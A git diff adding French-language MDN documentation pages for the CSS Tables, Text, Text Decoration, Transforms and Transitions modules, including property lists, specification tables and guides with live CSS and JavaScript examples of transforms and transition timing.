+<h2 id="Référence">Référence</h2>
+
+<h3 id="Propriétés">Propriétés</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("border-collapse")}}</li>
+ <li>{{cssxref("border-spacing")}}</li>
+ <li>{{cssxref("caption-side")}}</li>
+ <li>{{cssxref("empty-cells")}}</li>
+ <li>{{cssxref("table-layout")}}</li>
+ <li>{{cssxref("vertical-align")}}</li>
+</ul>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS2.1", "tables.html")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/css/css_text/index.html b/files/fr/web/css/css_text/index.html
new file mode 100644
index 0000000000..91ca768d97
--- /dev/null
+++ b/files/fr/web/css/css_text/index.html
@@ -0,0 +1,71 @@
+---
+title: CSS Text
+slug: Web/CSS/CSS_Text
+tags:
+  - Aperçu
+  - CSS
+  - CSS Text
+  - Reference
+translation_of: Web/CSS/CSS_Text
+---
+<div>{{CSSRef}}</div>
+
+<p><em><strong>CSS Text</strong></em> (ou module texte de CSS) est un module CSS qui définit comment effectuer des manipulations de texte, comme les coupures de mots, la justification et l'alignement, la gestion des espaces et les transformations de texte.</p>
+
+<h2 id="Référence">Référence</h2>
+
+<h3 id="Propriétés">Propriétés</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("hanging-punctuation")}}</li>
+ <li>{{cssxref("hyphens")}}</li>
+ <li>{{cssxref("letter-spacing")}}</li>
+ <li>{{cssxref("line-break")}}</li>
+ <li>{{cssxref("overflow-wrap")}}</li>
+ <li>{{cssxref("tab-size")}}</li>
+ <li>{{cssxref("text-align")}}</li>
+ <li>{{cssxref("text-align-last")}}</li>
+ <li>{{cssxref("text-indent")}}</li>
+ <li>{{cssxref("text-justify")}}</li>
+ <li>{{cssxref("text-size-adjust")}}</li>
+ <li>{{cssxref("text-transform")}}</li>
+ <li>{{cssxref("white-space")}}</li>
+ <li>{{cssxref("word-break")}}</li>
+ <li>{{cssxref("word-spacing")}}</li>
+</ul>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Logical Properties')}}</td>
+   <td>{{Spec2('CSS Logical Properties')}}</td>
+   <td>Actualise certaines propriétés pour être indépendant de la direction du texte.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Text')}}</td>
+   <td>{{Spec2('CSS3 Text')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'text.html')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/css/css_text_decoration/index.html b/files/fr/web/css/css_text_decoration/index.html
new file mode 100644
index 0000000000..885c8cdd54
--- /dev/null
+++ b/files/fr/web/css/css_text_decoration/index.html
@@ -0,0 +1,66 @@
+---
+title: CSS Text Decoration
+slug: Web/CSS/CSS_Text_Decoration
+tags:
+  - Aperçu
+  - CSS
+  - Reference
+translation_of: Web/CSS/CSS_Text_Decoration
+---
+<div>{{CSSRef}}</div>
+
+<p><em><strong>CSS Text Decoration</strong></em> (ou module des décorations textuelles CSS) est un module CSS qui définit les caractéristiques relatives à la décoration du texte, comme le soulignage, les ombres et les marques d'emphase.</p>
+
+<h2 id="Référence">Référence</h2>
+
+<h3 id="Propriétés">Propriétés</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("letter-spacing")}}</li>
+ <li>{{cssxref("text-align")}}</li>
+ <li>{{cssxref("text-decoration")}}</li>
+ <li>{{cssxref("text-decoration-color")}}</li>
+ <li>{{cssxref("text-decoration-line")}}</li>
+ <li>{{cssxref("text-decoration-style")}}</li>
+ <li>{{cssxref("text-emphasis")}}</li>
+ <li>{{cssxref("text-emphasis-color")}}</li>
+ <li>{{cssxref("text-emphasis-position")}}</li>
+ <li>{{cssxref("text-emphasis-style")}}</li>
+ <li>{{cssxref("text-indent")}}</li>
+ <li>{{cssxref("text-rendering")}}</li>
+ <li>{{cssxref("text-shadow")}}</li>
+ <li>{{cssxref("text-transform")}}</li>
+ <li>{{cssxref("white-space")}}</li>
+ <li>{{cssxref("word-spacing")}}</li>
+</ul>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Text Decoration')}}</td>
+   <td>{{Spec2('CSS3 Text Decoration')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'text.html')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/css/css_transforms/index.html b/files/fr/web/css/css_transforms/index.html
new file mode 100644
index 0000000000..66190eedac
--- /dev/null
+++ b/files/fr/web/css/css_transforms/index.html
@@ -0,0 +1,62 @@
+---
+title: CSS Transforms
+slug: Web/CSS/CSS_Transforms
+tags:
+  - Aperçu
+  - CSS
+  - CSS Transforms
+  - Reference
+translation_of: Web/CSS/CSS_Transforms
+---
+<div>{{CSSRef}}</div>
+
+<p>Le module <em><strong>CSS Transforms</strong></em> (ou module des transformations CSS) est un module de la spécification CSS qui définit comment les éléments mis en forme avec CSS peuvent être transformés dans un espace à deux ou à trois dimensions.</p>
+
+<h2 id="Référence">Référence</h2>
+
+<h3 id="Propriétés">Propriétés</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("backface-visibility")}}</li>
+ <li>{{cssxref("perspective")}}</li>
+ <li>{{cssxref("perspective-origin")}}</li>
+ <li>{{cssxref("rotate")}}</li>
+ <li>{{cssxref("scale")}}</li>
+ <li>{{cssxref("transform")}}</li>
+ <li>{{cssxref("transform-box")}}</li>
+ <li>{{cssxref("transform-origin")}}</li>
+ <li>{{cssxref("transform-style")}}</li>
+ <li>{{cssxref("translate")}}</li>
+</ul>
+</div>
+
+<h3 id="Types_de_donnée">Types de donnée</h3>
+
+<p>{{cssxref("&lt;transform-function&gt;")}}</p>
+
+<h2 id="Guides">Guides</h2>
+
+<dl>
+ <dt><a href="/fr/docs/Web/CSS/CSS_Transforms/Utilisation_des_transformations_CSS">Utiliser les transformations CSS</a></dt>
+ <dd>Un tutoriel pas-à-pas pour manipuler des transformations sur des éléments mis en forme avec CSS.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Transforms')}}</td>
+   <td>{{Spec2('CSS3 Transforms')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/css/css_transforms/utilisation_des_transformations_css/index.html b/files/fr/web/css/css_transforms/utilisation_des_transformations_css/index.html
new file mode 100644
index 0000000000..c33a7e3ac9
--- /dev/null
+++ b/files/fr/web/css/css_transforms/utilisation_des_transformations_css/index.html
@@ -0,0 +1,83 @@
+---
+title: Utilisation des transformations CSS
+slug: Web/CSS/CSS_Transforms/Utilisation_des_transformations_CSS
+tags:
+  - 3D
+  - Avancé
+  - CSS
+  - Guide
+  - Mise à l'échelle
+  - Scale
+  - Transformations CSS
+  - perspective
+  - rotation
+translation_of: Web/CSS/CSS_Transforms/Using_CSS_transforms
+---
+<div>{{CSSRef}}</div>
+
+<p>En modifiant l'espace des coordonnées, les <strong>transformations CSS</strong> permettent de changer la position d'un contenu affecté sans perturber le flux normal. Elles sont implémentées en utilisant un ensemble de propriétés CSS qui vous permettre d'appliquer des transformations affines aux éléments HTML. Ces transformations incluent la rotation, l'inclinaison et la translation à la fois dans le plan ou dans un espace 3D.</p>
+
+<div class="warning">
+<p><strong>Attention !</strong> Seuls les éléments positionnés selon <a href="/fr/docs/Web/CSS/Modèle_de_boîte_CSS">le modèle de boîtes</a> peuvent être transformés. Pour simplifier, on peut se souvenir que tout élément avec <code>display: block</code> est positionné selon le modèle de boîtes.</p>
+</div>
+
+<h2 id="Propriétés_des_transformations_CSS">Propriétés des transformations CSS</h2>
+
+<p>Deux propriétés majeures sont utilisées pour définir les transformations CSS : {{cssxref("transform")}} et {{cssxref("transform-origin")}}.</p>
+
+<dl>
+ <dt>{{cssxref("transform-origin")}}</dt>
+ <dd>Spécifie la position de l'origine. Par défaut, celle-ci est au centre de l'élément et peut être déplacée. Elle est utilisée par de nombreuses transformations, comme les rotations, les homothéties ou l'inclinaison, qui nécessitent un point spécifique pour paramètre.</dd>
+ <dt>{{cssxref("transform")}}</dt>
+ <dd>Spécifie la transformation à appliquer à l'élément. C'est une liste de transformations séparée par des espaces, qui sont appliquées les unes après les autres, comme requis par l'opération de composition. Les transformations qui sont composées entre elles sont appliquées dans l'ordre, de droite à gauche.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Voici une version originale du logo MDN :</p>
+
+<p><img alt="MDN Logo" src="https://mdn.mozillademos.org/files/12539/Screen%20Shot%202016-02-16%20at%2015.53.54.png" style="height: 106px; width: 110px;"></p>
+
+<h3 id="Rotation">Rotation</h3>
+
+<p>Ici, on le tourne de 90 degrés depuis le coin inférieur gauche :</p>
+
+<pre class="brush: html">&lt;img style="transform: rotate(90deg);
+            transform-origin: bottom left;"
+     src="https://mdn.mozillademos.org/files/12539/Screen%20Shot%202016-02-16%20at%2015.53.54.png"&gt;
+</pre>
+
+<p>{{EmbedLiveSample('Rotation','auto',240)}}</p>
+
+<h3 id="Distorsion_et_translation">Distorsion et translation</h3>
+
+<p>Ici, on applique une distorsion de 10 degrés et on translate l'image de 150 pixels sur l'axe des abscisses :</p>
+
+<pre class="brush: html">&lt;img style="transform: skewx(10deg) translatex(150px);
+            transform-origin: bottom left;"
+     src="https://mdn.mozillademos.org/files/12539/Screen%20Shot%202016-02-16%20at%2015.53.54.png"&gt;
+</pre>
+
+<p>{{EmbedLiveSample('Distorsion_et_translation')}}</p>
+
+<h2 id="Propriétés_CSS_spécifiques_à_la_3D">Propriétés CSS spécifiques à la 3D</h2>
+
+<p>Réaliser des transformations CSS dans l'espace est un petit peu plus complexe. Il faut d'abord définir l'espace 3D en lui donnant une perspective, puis il faut configurer le comportement des éléments 2D dans cet espace.</p>
+
+<h3 id="Définir_une_perspective">Définir une perspective</h3>
+
+<p>Le premier élément à définir est la <em>perspective.</em> La perspective est ce qui donne l'impression de troisième dimension. Plus les éléments sont loin de l'observateur, plus ils seront petits.</p>
+
+<p>{{page("/fr/docs/Web/CSS/perspective", "Trois cubes", 0, 0, 3)}}</p>
+
+<p>Le deuxième élément à définir est la position de l'observateur grâce à la propriété {{ cssxref("perspective-origin") }}. Par défaut, la perspective est centrée sur l'observateur.</p>
+
+<p>{{page("/fr/docs/Web/CSS/perspective-origin", "Cubes avec des valeurs communes pour perspective-origin", 0, 0, 3)}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/Guide/Events/Using_device_orientation_with_3D_transforms" title="Using Deviceorientation with 3D Transforms">Utiliser <code>deviceorientation</code> avec les transformations 3D</a></li>
+ <li><a href="https://desandro.github.com/3dtransforms/" title="http://desandro.github.com/3dtransforms/">Une introduction aux transformations CSS, un billet de David DeSandro (en anglais)</a></li>
+ <li><a href="https://css-transform.moro.es/">CSS Transform playground (outil en ligne qui permet de visualiser des transformations CSS)</a></li>
+</ul>
diff --git a/files/fr/web/css/css_transitions/index.html b/files/fr/web/css/css_transitions/index.html
new file mode 100644
index 0000000000..5135e7a632
--- /dev/null
+++ b/files/fr/web/css/css_transitions/index.html
@@ -0,0 +1,59 @@
+---
+title: Transitions CSS
+slug: Web/CSS/CSS_Transitions
+tags:
+  - Aperçu
+  - CSS
+  - CSS Transitions
+  - Reference
+translation_of: Web/CSS/CSS_Transitions
+---
+<div>{{CSSRef}}</div>
+
+<p>Les <strong>transitions CSS</strong> permettent de créer des transitions harmonieuses entre les valeurs des propriétés CSS concernées. Elles permettent aussi de définir leur évolution (accélération/décélération), via les fonctions de minutage.</p>
+
+<h2 id="Référence">Référence</h2>
+
+<h3 id="Propriétés">Propriétés</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("transition")}}</li>
+ <li>{{cssxref("transition-delay")}}</li>
+ <li>{{cssxref("transition-duration")}}</li>
+ <li>{{cssxref("transition-property")}}</li>
+ <li>{{cssxref("transition-timing-function")}}</li>
+</ul>
+</div>
+
+<h2 id="Guides">Guides</h2>
+
+<dl>
+ <dt><a href="/fr/docs/Web/CSS/CSS_Transitions/Utiliser_transitions_CSS">Utiliser les transitions CSS</a></dt>
+ <dd>Cet article est un tutoriel expliquant, étape par étape, comment créer une transition CSS. Il décrit chaque propriété CSS utilisée dans le cadre de ces transitions et comment elles interagissent.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Apparentées aux transitions CSS, les <a href="/fr/docs/Web/CSS/Animations_CSS">animations CSS</a> peuvent déclencher des animations indépendamment du changement des valeurs spécifiées.</li>
+</ul>
diff --git a/files/fr/web/css/css_transitions/utiliser_transitions_css/index.html b/files/fr/web/css/css_transitions/utiliser_transitions_css/index.html
new file mode 100644
index 0000000000..bbcdcb51e2
--- /dev/null
+++ b/files/fr/web/css/css_transitions/utiliser_transitions_css/index.html
@@ -0,0 +1,1094 @@
+---
+title: Utiliser les transitions CSS
+slug: Web/CSS/CSS_Transitions/Utiliser_transitions_CSS
+tags:
+  - Avancé
+  - CSS
+  - Guide
+  - Transitions
+translation_of: Web/CSS/CSS_Transitions/Using_CSS_transitions
+---
+<div>{{CSSref}}</div>
+
+<p>Les <strong>transitions CSS</strong> permettent de contrôler la vitesse d'animation lorsque les propriétés CSS sont modifiées. Plutôt que le changement soit immédiat, on peut l'étaler sur une certaine période. Ainsi, si on souhaite passer un élément de blanc à noir, on pourra utiliser les transitions CSS afin que cette modification soit effectuée progressivement, selon une courbe d'accélération donnée.</p>
+
+<p>Les animations qui utilisent des transitions entre deux états sont souvent appelées <em>transitions implicites</em> car l'état initial et l'état final sont définis implicitement par le navigateur.</p>
+
+<p><img alt="A CSS transition tells the browser to draw the intermediate states between the initial and final states, showing the user a smooth transitions." src="/files/4529/TransitionsPrinciple.png" style="display: block; height: 196px; margin: auto; width: 680px;"></p>
+
+<p>Les transitions CSS vous permettent de choisir :</p>
+
+<ul>
+ <li>les propriétés à animer en les listant explicitement</li>
+ <li>le début de l'animation</li>
+ <li>la durée de l'animation</li>
+ <li>la façon dont la transition s'exécutera</li>
+</ul>
+
+<h2 id="Quelles_sont_les_propriétés_CSS_qui_peuvent_être_animées">Quelles sont les propriétés CSS qui peuvent être animées ?</h2>
+
+<p>On peut définir les propriétés qu'on souhaite animer et la façon dont on souhaite les animer. Cela permet de créer des transitions complexes. Toutefois, toutes les propriétés ne peuvent pas être animées et <a href="/fr/docs/Web/CSS/Liste_propriétés_CSS_animées">la liste des propriétés concernées est limitée</a>.</p>
+
+<p class="note"><strong>Note :</strong> La gestion de la valeur <code>auto</code> représente un cas complexe. La spécification requiert de ne pas animer une telle valeur. Certains navigateurs dont ceux basés sur Gecko respectent cette règle mais d'autres comme WebKit sont moins stricts. Attention donc lors de l'utilisation des animations avec <code>auto</code>.</p>
+
+<p class="note"><strong>Note :</strong> Attention lorsqu'on manipule des transitions directement après avoir ajouté un élément via <code>.appendChild()</code> ou en modiant <code>display: none;</code>. Cela sera compris comme si l'état initial n'avait jamais eu lieu et que l'élément avait toujours été dans son état final. Pour contourner ce problème, on peut appliquer <code>window.setTimeout()</code> pendant quelques millisecondes avant de modifier la propriété CSS sur laquelle on souhaite appliquer une transition.</p>
+
+<h2 id="Les_propriétés_CSS_relatives_aux_transitions">Les propriétés CSS relatives aux transitions</h2>
+
+<p>Les transitions CSS sont généralement contrôlées grâce à la propriété raccourcie {{cssxref("transition")}}. Les différents composants d'une transition CSS peuvent être décrits dans le détail grâce aux propriétés détaillées suivantes :</p>
+
+<div class="note">
+<p><strong>Note : </strong>Dans les exemples ci-après, l'effet de répétition est uniquement utilisé à des fins de visualisation. Si vous souhaitez obtenir des effets visuels qui se répètent, il faudra utiliser la propriété {{cssxref("animation")}}.</p>
+</div>
+
+<dl>
+ <dt>{{cssxref("transition-property")}}</dt>
+ <dd>Cette propriété définit le nom des propriétés CSS pour lesquelles on veut appliquer des transitions. Seules les propriétés listées ici seront sujettes aux transitions. Les modifications appliquées aux autres propriétés seront instantanées.</dd>
+ <dt>{{cssxref("transition-duration")}}</dt>
+ <dd>Cette propriété définit la durée de la transition. On peut définir une durée pour toutes les transitions ou une durée pour chacuune des propriétés.
+ <div>
+ <div id="duration_0_5s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+ <p><code>transition-duration: 0.5s</code></p>
+
+ <div style="display: none;">
+ <pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+ <pre class="brush:css">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration: 0.5s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration: 0.5s;
+    transition-timing-function: ease-in-out;
+}
+.box1{
+    transform: rotate(270deg);
+    -webkit-transform: rotate(270deg);
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top: 25px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration: 0.5s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transformv color;
+    transition-duration: 0.5s;
+    transition-timing-function: ease-in-out;
+}
+</pre>
+
+ <pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+ </div>
+
+ <div>{{EmbedLiveSample("duration_0_5s", 275, 150)}}</div>
+ </div>
+
+ <div id="duration_1s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+ <p><code>transition-duration: 1s</code></p>
+
+ <div style="display: none;">
+ <pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+ <pre class="brush: css">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top -webkit-transform color;
+    -webkit-transition-duration: 1s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform color;
+    transition-duration: 1s;
+    transition-timing-function: ease-in-out;
+}
+.box1{
+    transform: rotate(270deg);
+    -webkit-transform: rotate(270deg);
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top: 25px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top -webkit-transform transform color;
+    -webkit-transition-duration: 1s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration: 1s;
+    transition-timing-function: ease-in-out;
+}
+</pre>
+
+ <pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+ </div>
+
+ <div>{{EmbedLiveSample("duration_1s",275,150)}}</div>
+ </div>
+
+ <div id="duration_2s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+ <p><code>transition-duration: 2s</code></p>
+
+ <div style="display: none;">
+ <pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+ <pre class="brush: css">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration: 2s;
+    transition-timing-function: ease-in-out;
+}
+.box1{
+    transform: rotate(270deg);
+    -webkit-transform: rotate(270deg);
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top: 25px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration: 2s;
+    transition-timing-function: ease-in-out;
+}
+</pre>
+
+ <pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+ </div>
+
+ <div>{{EmbedLiveSample("duration_2s",275,150)}}</div>
+ </div>
+
+ <div id="duration_4s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+ <p><code>transition-duration: 4s</code></p>
+
+ <div style="display: none;">
+ <pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+ <pre class="brush: css">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration: 4s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration: 4s;
+    transition-timing-function: ease-in-out;
+}
+.box1{
+    transform: rotate(270deg);
+    -webkit-transform: rotate(270deg);
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top: 25px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration: 4s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration: 4s;
+    transition-timing-function: ease-in-out;
+}
+</pre>
+
+ <pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+ </div>
+
+ <div>{{EmbedLiveSample("duration_4s",275,150)}}</div>
+ </div>
+ </div>
+ </dd>
+ <dt>{{cssxref("transition-timing-function")}}</dt>
+ <dd><img alt="" src="/files/3434/TF_with_output_gt_than_1.png" style="float: left; height: 173px; margin-right: 5px; width: 130px;">Cette propriété définit une fonction qui décrit la façon dont les valeurs intermédiaires sont calculées. On utilise pour cela des <a href="/fr/docs/Web/CSS/timing-function">fonctions de temporisation</a>.
+ <div class="cleared">
+ <div id="ttf_ease" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+ <p><code>transition-timing-function: ease</code></p>
+
+ <div style="display: none;">
+ <pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+ <pre class="brush: css">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-timing-function: ease;
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-timing-function: ease;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top: 25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-timing-function: ease;
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-timing-function: ease;
+}
+</pre>
+
+ <pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+ </div>
+
+ <div>{{EmbedLiveSample("ttf_ease",275,150)}}</div>
+ </div>
+
+ <div id="ttf_linear" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+ <p><code>transition-timing-function: linear</code></p>
+
+ <div style="display: none;">
+ <pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+ <pre class="brush: css">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-timing-function: linear;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-timing-function: linear;
+}
+</pre>
+
+ <pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+ </div>
+
+ <div>{{EmbedLiveSample("ttf_linear",275,150)}}</div>
+ </div>
+
+ <div id="ttf_stepend" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+ <p><code>transition-timing-function: step-end</code></p>
+
+ <div style="display: none;">
+ <pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+ <pre class="brush: css">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-timing-function: step-end;
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-timing-function: step-end;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-timing-function: step-end;
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-timing-function: step-end;
+}
+</pre>
+
+ <pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
